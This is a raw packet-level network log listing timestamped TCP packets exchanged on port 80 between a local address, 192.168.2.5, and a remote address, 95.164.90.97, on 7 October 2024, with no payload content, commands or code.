Oct 7, 2024 18:00:44.131319046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131329060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131334066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131351948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131361961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131376028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131407022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131989002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132004023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132019997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132039070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.132055044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.132090092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132106066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132118940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132133007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.132136106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132147074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.132165909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.132179976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.132210970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132226944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132241964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132257938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132263899 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.132273912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132289886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.132289886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.132318020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.132342100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.132997036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133012056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133025885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133049965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133059978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.133065939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133080959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.133081913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133099079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133106947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.133132935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.133197069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133213043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133228064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133243084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133249998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.133260012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133265018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.133276939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133306980 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.133335114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.133929014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133960962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133975983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.133982897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.134002924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.134022951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134023905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.134038925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134054899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134073019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134078979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.134089947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134108067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.134144068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.134181023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134197950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134212971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134228945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134237051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.134247065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134265900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.134296894 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.134848118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134902954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134917974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134932995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134933949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.134949923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134953976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.134968996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.134979963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.135023117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.135061026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.135077000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.135092020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.135104895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.135107040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.135124922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.135130882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.135154963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.135180950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.221569061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.221594095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.221607924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.221637011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.221652985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.221647024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.221666098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.221679926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.221690893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.221692085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.221699953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.221719980 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.221736908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.222031116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.222083092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.222273111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.222315073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234255075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234271049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234283924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234294891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234307051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234318972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234335899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234338999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234338999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234347105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234360933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234373093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234374046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234385967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234389067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234401941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234402895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234416008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234431028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234441996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234456062 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234457016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234533072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234539032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234550953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234564066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234576941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234587908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234599113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234610081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234617949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234622955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234622955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234648943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234663010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234932899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234944105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234954119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234960079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234972954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234983921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.234993935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234993935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.234994888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235042095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235057116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235065937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235078096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235105991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235116959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235120058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235133886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235146999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235157967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235160112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235173941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235181093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235186100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235189915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235193014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235208035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235220909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235224009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235244036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235261917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235336065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235369921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235382080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235388041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235410929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235424995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235452890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235466003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235476971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235487938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235487938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235505104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235518932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235820055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235831976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235842943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235853910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235866070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235874891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235889912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235903978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.235968113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235980034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.235991955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236002922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236013889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236023903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236030102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.236030102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.236036062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236043930 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.236049891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236063004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236064911 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.236073971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236085892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236088991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.236114979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.236129045 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.236340046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236352921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236392021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.236407042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236419916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236432076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236444950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236458063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.236485004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.236784935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236797094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236812115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236823082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236834049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236845016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.236855030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.236886024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.239550114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239608049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.239639997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239651918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239664078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239691973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.239722013 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.239797115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239809036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239820004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239830971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239840984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.239842892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239856005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.239864111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239876032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239883900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.239887953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239900112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239905119 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.239912033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239929914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.239957094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.239968061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239979982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.239990950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.240001917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.240016937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.240031004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.240057945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.305942059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.305960894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.305972099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.306030989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.306067944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.306236029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.306247950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.306266069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.306276083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.306287050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.306288958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.306318998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.318231106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318243027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318253994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318273067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318284988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318295956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318306923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318316936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318327904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318339109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318350077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318358898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.318361998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.318387985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.318418980 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319118977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319137096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319148064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319186926 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319202900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319214106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319224119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319236994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319245100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319256067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319261074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319269896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319282055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319286108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319295883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319302082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319315910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319341898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319497108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319509029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319519997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319530964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319540977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319545984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319554090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319565058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319569111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319576979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319583893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319591045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319611073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319634914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319638014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319653034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319664001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319674969 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319677114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319688082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319694996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319705009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319706917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319719076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319731951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319732904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319746017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319757938 CEST	80	49831	95.164.90.97	192.168.2.5
